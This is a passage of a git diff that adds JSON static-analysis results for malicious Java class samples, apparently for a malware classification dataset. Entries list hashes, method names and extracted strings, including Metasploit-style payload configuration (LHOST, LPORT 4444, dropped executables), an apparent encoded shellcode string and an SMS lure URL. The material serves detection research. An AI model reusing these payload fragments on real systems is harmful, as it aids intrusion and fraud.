6900, "ssdeep": "96:KMHfeMnzVor/08HaE/DTxcoo8p132Yxhni/mmNxlo55ooDy4IYwa5oYp55IX1:TmCor/FnnWop5xhi/To55UTYwa5hGX1", "sha256": "77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e", "md5": "889774853107e15fed9e8df6b57bcfab", "parent_sha256": "77e985565711379ac8c4dd7daf88b443b98374946f151b1827e1b8cfb5e3ea7e"}} \ No newline at end of file diff --git a/java_classification/data/malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84.results b/java_classification/data/malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84.results new file mode 100755 index 0000000..c2770ba --- /dev/null +++ b/java_classification/data/malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "j", "access_permissions": ["ACC_PUBLIC", "ACC_FINAL", "ACC_SUPER"], "interfaces": ["java/lang/Runnable", "javax/microedition/lcdui/CommandListener"], "major_version": 46, "method_names": ["", "commandAction", "run"], "minor_version": 0, "const_pool_count": 204}}, "_id": "03c91233-2723-49cc-9779-27a73135dbd1", "verbose": {"java": {"JAVA String Analysis": {"combined strings entropy": 4.637771759304837, "obfuscated_data": {"base64": {"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/": "text"}}}, "constant strings": ["", "/?", "1", "Skachaj besplatno sbornik prikol\\'nyh sms-soobshchenij: http://jabox.ru/jbox", "sms://", "text", "\\xd0\\x98\\xd0\\xbd\\xd1\\x84\\xd0\\xbe\\xd1\\x80\\xd0\\xbc\\xd0\\xb0\\xd1\\x86\\xd0\\xb8\\xd1\\x8f", "\\xd0\\x9d\\xd0\\xb0\\xd0\\xb7\\xd0\\xb0\\xd0\\xb4", "\\xd0\\x9d\\xd0\\xb5 \\xd0\\xb2\\xd0\\xb2\\xd0\\xb5\\xd0\\xb4\\xd0\\xb5\\xd0\\xbd \\xd0\\xbd\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd0\\xb0. \\n", "\\xd0\\x9d\\xd0\\xb5\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xb8\\xd0\\xbb\\xd1\\x8c\\xd0\\xbd\\xd0\\xbe \\xd0\\xb2\\xd0\\xb2\\xd0\\xb5\\xd0\\xb4\\xd0\\xb5\\xd0\\xbd \\xd0\\xbd\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd0\\xb0. \\n", "\\xd0\\x9d\\xd0\\xbe\\xd0\\xbc\\xd0\\xb5\\xd1\\x80 \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd0\\xb0: ", "\\xd0\\x9e\\xd1\\x82\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xb8\\xd1\\x82\\xd1\\x8c", "\\xd0\\x9e\\xd1\\x88\\xd0\\xb8\\xd0\\xb1\\xd0\\xba\\xd0\\xb0", "\\xd0\\x9f\\xd0\\xbe\\xd1\\x81\\xd0\\xbe\\xd0\\xb2\\xd0\\xb5\\xd1\\x82\\xd0\\xbe\\xd0\\xb2\\xd0\\xb0\\xd1\\x82\\xd1\\x8c \\xd0\\xb4\\xd1\\x80\\xd1\\x83\\xd0\\xb3\\xd1\\x83", "\\xd0\\xa1\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd0\\xbd\\xd0\\xb5 \\xd0\\xbe\\xd1\\x82\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xbb\\xd0\\xb5\\xd0\\xbd\\xd0\\xbe.", "\\xd0\\xa1\\xd0\\xbe\\xd0\\xbe\\xd0\\xb1\\xd1\\x89\\xd0\\xb5\\xd0\\xbd\\xd0\\xb8\\xd0\\xb5 \\xd0\\xbe\\xd1\\x82\\xd0\\xbf\\xd1\\x80\\xd0\\xb0\\xd0\\xb2\\xd0\\xbb\\xd0\\xb5\\xd0\\xbd\\xd0\\xbe."]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d66296daf681ec8f18188dd517ed0bfdf3df1740", "file_name": "java_malicious/78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84", "_id": "03c91233-2723-49cc-9779-27a73135dbd1", "score": 0, "entropy": 5.931964024537238, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 3672, "ssdeep": "48:9r6uLm6RR/JIfKkIgRvBAqT34PTWsTnbNhQhuf2RPKOGTLE/QVaVGcXa6Yc:0Cm6iKgQH2Re8/oaYcK1c", "sha256": "78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84", "md5": "74ee7a8b12d4305b9f6a5abc074f18e7", "parent_sha256": "78011ff87fc3f1502eb0d372fd4574ac7e9db40abca125ac1b5f9ae428102f84"}} \ No newline at end of file diff --git a/java_classification/data/malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee.results b/java_classification/data/malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee.results new file mode 100755 index 0000000..f77f318 --- /dev/null +++ b/java_classification/data/malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "VdCiJkJ.java", "class_name": "CQAfR/VdCiJkJ", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "YdZTJr", "JdMlGD"], "minor_version": 0, "const_pool_count": 130}}, "_id": "a1499a58-37ee-4e31-8c00-8a5b7b3f8d23", "verbose": {"java": {"signatures": ["(Ljava/lang/Class<*>;)V"], "constant strings": ["newInstance", "$/8/`=+-;<\\':7`\\x0f\"\"\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! =", "/**", "$/8/`=+-;<\\':7`\\x1e+<#\\'==\\'! ", "$/8/`=+-;<\\':7`-+<:`\\r+<:\\'(\\'-/:+", "$/8/` +:`\\x1b\\x1c\\x02", "$/8/`=+-;<\\':7`\\r!*+\\x1d!;<-+", "$/8/`=+-;<\\':7`\\x1e>\"+:\\x11-\"/=="], "JAVA String Analysis": {"combined strings entropy": 4.541721833179023}}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "8438fd4f34c5b89f2acbe1f5f483b46b863521ec", "file_name": "java_malicious/78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee", "_id": "a1499a58-37ee-4e31-8c00-8a5b7b3f8d23", "score": 0, "entropy": 3.2224809863973345, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 19976, "ssdeep": "192:lCifZpPjkt65f2WyqW4OMpyspyJ6vUvGvsv1vmvMu2vHOvMvhEvyvCvvvav5vPvO:Ye3NkmAC41iRSqYSmWXOx3RK75CExZ", "sha256": "78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee", "md5": "35f20d4162921aae6ca2c7640fc1b0ac", "parent_sha256": "78ac4bc80430482d4ca9f8d0d3dc0582dd8e3ec43b621e48b4f8977696de5fee"}} \ No newline at end of file diff --git a/java_classification/data/malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a.results b/java_classification/data/malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a.results new file mode 100755 index 0000000..bc99d95 --- /dev/null +++ b/java_classification/data/malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/izqdxbqhbqkkj", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "paint", "init"], "minor_version": 0, "const_pool_count": 111}}, "_id": "e60d4176-0218-4aa9-bcb4-d5b073cbfa93", "verbose": {"java": {"constant strings": ["Loading", "theUnsafe"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e3f2defc76b7c5d86508af0b6ac389ca68450f1c", "file_name": "java_malicious/78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a", "_id": "e60d4176-0218-4aa9-bcb4-d5b073cbfa93", "score": 0, "entropy": 5.61117637153155, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 1608, "ssdeep": "24:Yn/rmlMyQZdBle5rY5LYT3L+gpfHfsZt76attowe98lsvwNYGR2YqerJ90qE:W/rSMya5LYT3LfZHfutU38LNYGR1192", "sha256": "78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a", "md5": "32ff10d321a1d20635a803272d220d91", "parent_sha256": "78e36e8aa7bedec595efdfea1ff370974352bf6e898b913233951670cd817b4a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422.results b/java_classification/data/malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422.results new file mode 100755 index 0000000..9d01ae3 --- /dev/null +++ b/java_classification/data/malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "iJhyjeoXti/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", ""], "minor_version": 3, "const_pool_count": 605}}, "_id": "50c552ec-2dde-409f-9d6c-12c435f2f7b3", "verbose": {"java": {"constant strings": ["iJhyjeoXti.Payload", ".class", "/iJhyjeoXti.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "iJhyjeoXti.dat", "URL", "", "https:", "iJhyjeoXti/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "iJhyjeoXti/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "iJhyjeoXti.PayloadTrustManager", "useFor", "java.net.URLConnection", "iJhyjeoXti.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "d2e358f1bb681343743b78dd661cfc17cb19e039", "file_name": "java_malicious/78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422", "_id": "50c552ec-2dde-409f-9d6c-12c435f2f7b3", "score": 0, "entropy": 6.1330720739214355, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMtDUBT+WnVThmI7xKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1tLThtmuyNvpvUrKYvCkgHzbDrDF", "sha256": "78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422", "md5": "140bb345fb93654436bffb79882ce8ff", "parent_sha256": "78fc24093e30e23f7e73cfd7bffb7997a75912b65f9c9f2abe7ed13389162422"}} \ No newline at end of file diff --git a/java_classification/data/malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf.results b/java_classification/data/malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf.results new file mode 100755 index 0000000..5ec32b8 --- /dev/null +++ b/java_classification/data/malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "tDnrbPEQp.java", "class_name": "tDnrbPEQp", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 49, "method_names": ["", "", "xULuuDZkf", "cgdQvXtLl"], "minor_version": 0, "const_pool_count": 183}}, "_id": "e9a3e6ab-1512-4d7d-a188-a35f7d20699e", "verbose": {"java": {"constant strings": [":,=\\x1a,*<; =0\\x04(\\'(.,;", "#(?(g(>=g $(.,g\\r(=(\\x0b=g $(.,g\\r(=(\\x0b=g $(.,g\\x04<%= \\x19 1,%\\x19(*\",-\\x1a($9%,\\x04&-,%", "#(?(g(>=g $(.,g\\x1b(:=,;", "*;,(=,\\x1e; =(+%,\\x1b(:=,;", "#(?(g(>=g $(.,g\\x1a($9%,\\x04&-,%#(?(g(>=g $(.,g\\r(=(\\x0b=g\\x19& \\'=", "#(?(g(>=g $(.,g\\xc0\\x80\\'-,1\\n&%&;\\x04&-,%", "#(?(g(>=g\\x08%9!(\\n&$9&: =,", "\\x1a;*", "*;,(=,\\n&\\'=,1=", "#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g $(.,g\\n&%&;\\x04&-,%#(?(g(>=g\\x1b,\\'-,; \\'.\\x01 \\'=:", "-:/", ",;.-+!#\",;$:/i\"\\'/$", "&:g\\'($,", "", "\\x04(*", "&:g(;*!", "\\x7f}"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "c08cbd91f94c36836112270355051b51d2774fa5", "file_name": "java_malicious/79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf", "_id": "e9a3e6ab-1512-4d7d-a188-a35f7d20699e", "score": 0, "entropy": 6.069403150493488, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 4533, "ssdeep": "96:+zUmFt8K6FlKZqLwAld5NLO2hDzmQltGeU5HJmVfiX/nqta2++J0:+zUOt83lKZqLwAldiUvmQaHhJmVfi/Rp", "sha256": "79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf", "md5": "b48a2f5c521c76ae1ae8a051be031a50", "parent_sha256": "79100d5b5f5daa691e498ea2a3da59bef3fa6bb019fa09413950dbcb7bed34bf"}} \ No newline at end of file diff --git a/java_classification/data/malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a.results b/java_classification/data/malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a.results new file mode 100755 index 0000000..68e7061 --- /dev/null +++ b/java_classification/data/malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "Sino", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": [""], "minor_version": 0, "const_pool_count": 10}}, "_id": "ded3692d-5bd2-478f-9a83-5471d1cb31f4", "metadata": {"mimetype": "application/x-java-applet", "sha1": "9f266af4eb937a29cb97f262be2f5ca4ea1a42e0", "file_name": "java_malicious/79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a", "_id": "ded3692d-5bd2-478f-9a83-5471d1cb31f4", "score": 0, "entropy": 4.766837266744141, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 181, "ssdeep": "3:DbllHlMtDLMR6Np8ACK8PnQCK2XM2/bCK8PtzAmd/70AA2RE2Reylb/nhlVukUv:auMNSBPnzXMs6PtMmp70AA2R/RzckUv", "sha256": "79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a", "md5": "cab015a9d1dccaa91bc956ceaa828a66", "parent_sha256": "79a6593e13765d37fa86831a9b369885452203a8b89dbae176a62623caaab61a"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc.results b/java_classification/data/malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc.results new file mode 100755 index 0000000..4664614 --- /dev/null +++ b/java_classification/data/malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["", "init"], "minor_version": 0, "const_pool_count": 102}}, "_id": "37733453-fe72-4dbc-9611-7c893cf63fc8", "verbose": {"java": {"constant strings": ["YIIIIIIIIIIIIIIIIIQZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pl,Pl,PN,pL,PN,pN,pn,pn,pN,py,xW,p7,pe,Pw,pJ,Ke,PX,iK,L7,pe,Pu,Ps,oC,TO,Q6,Pu,Pg,pw,pR,XV,ln,kG,04,LN,kr,PG,lL,mL,KR,HW,x8,kt,IN,k3,pF,Tn,mW,03,Ln,ku,8g,Ll,K9,gs,ZU,Tp,Yk,XN,o7,ps,0e,PH,bl,9r,HR,O0,nS,0g,ps,Xr,Us,BP,l2,Mp,Tk,OW,fL,Kx,hx,hb,Yu,P7,p5,Pn,kJ,wq,WO,pG,Oc,04,5h,zq,W3,gR,gO,pu,oU,Pp,uk,JL,Kx,oS,ot,si,Ym,QX,l4,Du,Qu,Pu,PL,KK,lp,QS,bq,Cb,H5,TC,1W,pG,pk,OP,Vf,la,JP,YP,QQ,BN,kw,r3,cs,sO,pU,ke,P4,5x,zM,Qs,KK,LF,Ns,UR,Xu,5q,eG,so,sZ,Kv,ho,yu,SK,wC,su,TV,NU,5R,X5,5K,vW,3w,xg,pa,Ko,zy,QV,dT,pm,Xr,ee,PW,Co,02,pb,pf,3r,wP,Pk,OR,vv,pL,Ck,Hw,p3,EV,fs,ZW,qp,Sy,oV,6u,Tq,Jf,9M,SK,rw,t7,1O,pt,zU,P2,U8,4K,Or,vt,Hp,QS,fN,k4,5u,ll,Kp,td,nT,8U,SX,u0,Vn,kS,FU,pt,CL,5f,SJ,iQ,YQ,QN,MS,39,Ut,sk,kt,OM,nv,pG,JN,63,DT,Hz,aJ,kt,M5,SZ,zS,pX,kz,QW,Ke,Oc,Ek,WS,nL,KQ,Nw,T3,39,MQ,vl,Kv,lP,KL,KQ,N7,lg,sK,mL,K6,dL,KT,CK,un,KQ,NV,9k,sm,89,oK,NK,OK,Ol,N2,nv,nj,LN,xk,NO,zD,NQ,nH,XZ,B4,3u,cK,zl,J1,Kg,Fv,zt,op,pR,Lu,7P,wD,2S,ws,RQ,rR,ne,PR,Hb,Tb,TR,Pg,Jv,Ov,OC,F0,ia,bS,Cp,qc,T6,NQ,yP,n3,Vp,od,ou,33,WS,Yt,mQ,rP,ip,nd,or,D5,4v,Ob,Np,0T,pF,XF,QP,0g,Ft,rV,P6,Q4,sT,qu,hs,B0,0E,dT,pE,i3,zv,PS,RV,PP,0V,PU,fV,P5,aC,bu,64,pT,sP,7q,sc,Ut,r3,Qv,8C,Rp,0S,Uv,Sq,uQ,vt,yp,6s,iq,vU,2V,UP,6R,DS,Rr,F3,Qp,Zt,pU,aF,PT,pq,vd,pf,Wf,Pu,PC,0A,", "41,25,25,25,25", ",", "", "fil", "e://aa", "c/", "D", "C", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "28f06aa86d49fe181156da6f158031c09b347001", "file_name": "java_malicious/7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc", "_id": "37733453-fe72-4dbc-9611-7c893cf63fc8", "score": 0, "entropy": 5.992663010008344, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3087, "ssdeep": "96:hFFl00DE8fzk3nK1esvRxC92XQjt9bKsCn:1lFDE8r2nQHvRxEkQpRKx", "sha256": "7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc", "md5": "81b12e8b46cecc7ab4637f2d5f5b3cf7", "parent_sha256": "7a38d920dd0b0cc0ce54cdc8abd97f3e1dd6add179b601c3c488b223227188dc"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20.results b/java_classification/data/malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20.results new file mode 100755 index 0000000..f58d89d --- /dev/null +++ b/java_classification/data/malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/thtujqljq", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "debseutudvs", ""], "minor_version": 0, "const_pool_count": 446}}, "_id": "5554e867-18ae-4cc7-b1e7-70f6a64317bb", "metadata": {"mimetype": "application/x-java-applet", "sha1": "53e3997ae251b778372d426c1e5cd0b4e234aaa6", "file_name": "java_malicious/7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20", "_id": "5554e867-18ae-4cc7-b1e7-70f6a64317bb", "score": 0, "entropy": 5.2125780572452065, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6962, "ssdeep": "192:TFzzCdl97i6Q8DEFep0xhi/To55UTYwa5hGX1:xz0BXEFm0yTofUTkc1", "sha256": "7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20", "md5": "b5b8aefe115707afc89a5e8324349ed4", "parent_sha256": "7a51a5cb388d473c9410803a1ffc1a43c8891b21d64d02b3d91b04637d924c20"}} \ No newline at end of file diff --git a/java_classification/data/malicious/7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde.results b/java_classification/data/malicious/7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde.results new file mode 100755 index 0000000..9ad6983 --- /dev/null +++ b/java_classification/data/malicious/7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde.results @@ -0,0 +1 @@ +{"characteristics": {"java": {"class_name": "a/hymb", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["", "dzcvjazipmtadgopqim", "wcgzmrofeyntpzbwtde", "mxemfnfsrcyxnfj", "rxgmqqvcxgkgdqx", "ehablesfqbjerrzmv", "jqgtsfgulwsayiahkyo", "tcpmphzandtxbinw", "jlcmzocmpifkvgmvfku", "zjmemnkecmelmdr", "cmtthxshswtomolnu", "esfbivclcfjihga", "aogqshzrynpfowg", "vnjemliqxikovnhoke", "go", "nmfupwiihkvxkfafjfo", "ztfsuudhrqfvcnsvu", "lpreblhzaclsolfvsxk", "silpahxlxipnqiacq", "wwoifuopbnsnrhy", "aktahiupvkxvupexwy", "ncauxennfdfedei", "lqnbptwpvbkdkaf", "ozxldohnmjrgihp", "defcls", "yhawbetabfuznbb", "dcgbfxzsretqwyzm", "zzvliovalyycqjrens", "dyjjeptpwheydwuktsf", "egfqkqiwuxyoqpnztle", "lenmahpiscomuhzcpi", "wbaikykmzcjatnvmrrf", "sweimiizpugiwemf", ""], "minor_version": 0, "const_pool_count": 657}}, "_id": "e965ce8d-5916-478a-9340-8bc89f8c5a91", "verbose": {"java": {"constant strings": ["sgakjtewtgarzjvr", "fabcrdgognjpi", "jpsuioxshnkpcfpunxzv", "hjabsposaxmbljhowzlrx", "pxwskgayfcfjyelgzf", "qonjhpphhsawfgpyouafl", "oscomgkkmzihanikq", "ktearddoqxcvrjyscm", "jtvcvuxvcqunldjuaoq", "kwowedbsoucc", "hvrfyeywpkhmnn", "wsvuofwrrsfuqbkfywkj", "gsrwzxkogdae", "wyupahkxykdoetpubdf", "hmzckvaenrbjt", "bgcafpccopwcobs", "wbwdkfjxeogbd", "aocexmouozeyilmob", "aexvsrvrkomwf", "cwpyqggliiltdzvac", "nvbufrsfknnlscdtmxln", "qozgxgwxodffqkokcx", "dbtemjiknbowl", "kippiycodkejxvre", "snpvjujgdpivfbfywi", "hhphvfcsqyqtyvyaidp", "acrdclkiiczwtqkh", "ihlzexrjdoibhsi", "pyltfioifpvdvp", "cgdwafeygqlfuynftrg", "ddzdzsddrxqrt", "uqvhaetokhyddgntmc", "bxogcodhlmmr", "nxfbzwfepcckw", "dangcxxgsjjpemfv", "mimncetfnquztg", "vfghsvdydoujlqsruni", "wcouuvsysnkaexluoexup", "xxyclbwlbikhbygc", "tbbqnwpshdlv", "qwuemkcoqhdssgfy", "uxddbxhwhrygwx", "mfxmtnxhzqispdpg", "vbocpwpqmyjnrdqdtvpbv", "ajtlojstaejpmgz", "byauuuxjaxhcgmaocd", "cvomcdfslnfeorqflnuu", "mavockcrqxwxljzowk", "kszmxvunndzcbjwxd", "davucscsiinsey", "servtfckxxhfdo", "iqzfrnecjhamivy", "wzzsyepkmobxsytm", "qkylineeswuagbkonnwoo", "woanwjivpbzc", "tvqyzctljihzzsmnopye", "eqocpasmwskcn", "wzugqtewwpkaoxm", "aapgqglsmirryfjwhb", "xpixwwwpkjmhfn", "pzaeszkatmjcczzkltlc", "ihdfowyfuzpond", "awhabgmnmwxaqor", "pnwlgtdrrgmlzw", "ysccnxskhtwxqqwkbdf", "sauxgnyhzqtvc", "jherathwdwby", "dszswrkichnwzt", "unwtnvftsmmwziyctrzw", "fahaqzpxfnprwzad", "pjyurfkifukri", "pqkvdarqdvisinldqozt", "alvfhcoppiwin", "axsbblacqvjbcqipz", "rgashxxsivmlvpb", "gytbkenailmtikvzvwft", "qlefxvrockefyfhs", "ttuvejhjiwecwnxlm", "ctluiqrlahgl", "hkqckzfouwqiaujtgz", "oafbccvsoyiydapmvftrr", "siotbciyttjbbjugxhupi", "ryarkryhifyfwyl", "mslzvolpfgzitgjrtiek", "ieyxxjlkmoxcqs", "reafgjwdhlewd", "jjfzbfkokycwzwyt", "trrpflzskrlcujbfwezuh", "wbswrqtsvkbjg", "znrnkrixliwahmjxcjyi", "hyiifyqxcemcesjqli", "yzowzkslbjkhlqxzoqgk", "zvknsajaxvazewoyw", "ijnkcwyxklpeh", "qywturswtjhfdobncznh", "svsullyecnqotvcmae", "ebgumlyqjong", "qowdxlvsgelafrfho", "ensgvagchswkocx", "vgdcrigildpugh", "dxuspddgrtlzswnjyl", "pkocbopsbepvs", "yoiqyvgbwuaxjyzmle", "nxxjbpbricvguij", "pqsmwnnrmklsixubkhej", "tsdbwbrnpnwbjffv", "wlpjimidvaoevocorren", "axgelykdbeaae", "shntomalyvpms", "lvcwzkzkcttmdnbnwadro", "nxhsrkaqyfirxcp", "waweperyqyuhuljzfnhzt", "ebiemnhlctxkacvd", "kmuoycwtbfogsat", "kuxecsleebubobog", "kwezatqpmujnsiuw", "cwiztdhtvfiom", "dsbyjgzbrdwurjwzy", "fryefjzxhmrdkqm", "ylcfndpcvnhxrjzxajug", "qtodxaoajfdvs", "gaylksmoaimr", "sjbsjqhimpskna", "voezuigikgzzuukpn", "zllcbjbqimpnuvhifdsj", "otpdjaxzxwemgcmb", "czhyyugezrxzemr", "gbbpcdocrkrg", "bkvvauraizebfgvfyij", "hakkdccwnbhrntco", "jjrgykctarjjytm", "grecffuuqhcrwipq", "lorxrlkutfbyacyxt", "mhbpfnrtsigod", "xamuaackvzkszms", "hkpbqtyhnbtdx", "hrenhavihjphxzf", "alrorvlynghgcykcrt", "nucppuissulc", "yhubebrbekzhvhbpkf", "deuphthdxuwhlatsluljy", "wbpzqbwanvrvktfwk", "qzmgoifeypzcvie", "vvewinswjyfy", "lezifombzirkwoynry", "bqmosmlguynq", "jrmbruolnckmuwhcqotj", "veyoehdltxtrp", "apksavbvjvfdnyksiawr", "phfpmhlowaryu", "qgjyywovebwr", "awxhjrlmcnzrlv", "iutftmxgvxoovrntj", "hqrimysdtedxvjjjc", "tyigoztawhfadi", "sqgwllyrfkcjwwbsez", "hcypdnxtoiiol", "nrmkajmjbpuuetc", "jgqvblermngknsdxjh", "zzxlrhhvxdgmbucutafx", "umzquywtgbjed", "rnsipksmesksgrui", "hqxkeoghekfddidzncfg", "ihwwfxczwrhaxwagomz", "unnutsodwkczonq", "rbnxnywcovhqhajztdpn", "ivgbpfqrzvahyr", "odgtadjuhghhwzihoakjn", "mzxkvigcebtbrddhbzn", "yxddtmozzzeecws", "ecpsenwfaape", "yjxbtruxsaqwngiym", "kaofzooxaifqilt", "xipkpggbxcfy", "ovzkzxclohtznrdvesf", "fzkjzesiapxlksji", "epvhjcriuuoyucxwgve", "kscequlgnqautfmzjqfk"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "ca78d3f32d22ae94106ee5498d470e253e0e1e1f", "file_name": "java_malicious/7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde", "_id": "e965ce8d-5916-478a-9340-8bc89f8c5a91", "score": 0, "entropy": 6.163742067107957, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 14859, "ssdeep": "192:H5oJ64MBD1Kz9LiK1MG7Ah69on8fHzDhY9KxvkaKURyVPJFxHy3t9X:H667JK8TG0h69o0XNvXRWyd", "sha256": "7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde", "md5": "c5a0c1ad491e279607430e3ee3152320", "parent_sha256": "7b93d8e574329b949c0de53b81c09ac53c7b5a6e8ef24eb8eea1e88b6ea99dde"}} \ No newline at end of file diff --git 